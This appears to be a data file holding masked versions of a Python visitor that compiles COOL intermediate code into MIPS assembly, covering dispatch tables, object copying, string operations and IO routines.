{self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n\n @visitor.when(cil.IfGoto)\n def visit(self, node: cil.IfGoto):\n self.write_file('# IF GOTO')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n self.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n self.write_file('')\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_int(self):\n self.write_file('function_IO_in_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $t0 $v0')\n self.write_file('li $v0 5')\n self.write_file('syscall')\n self.write_file('sw $v0 12($t0)')\n self.write_file('move $v0 $t0')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def conforms(self):\n self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'lw $t1 16($fp)')\n self.write_file(\n f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_'\n )\n self.write_file('_conforms_loop_:', tabbed=False)\n self.write_file('beq $t0 $t1 _conforms_ret_true_')\n self.write_file(\n f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_'\n )\n self.write_file('mulu $t0 $t0 4')\n self.write_file('addu $t0 $t0 $s2')\n self.write_file('lw $t0 0($t0)')\n self.write_file('j _conforms_loop_')\n self.write_file('_conforms_ret_true_:', tabbed=False)\n self.write_file('li $v0 1')\n self.write_file('j _conforms_ret_')\n self.write_file('_conforms_ret_false_:', tabbed=False)\n self.write_file('li $v0 0')\n self.write_file('_conforms_ret_:')\n self.write_file('jr $ra')\n self.write_file('')\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n\n def pop(self, dest=None):\n self.write_file(f'addiu $sp $sp 4')\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n\n @visitor.on('node')\n def visit(self, node):\n pass\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n <function token>\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n\n @visitor.when(cil.IfGoto)\n def visit(self, node: cil.IfGoto):\n self.write_file('# IF GOTO')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n self.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n self.write_file('')\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n 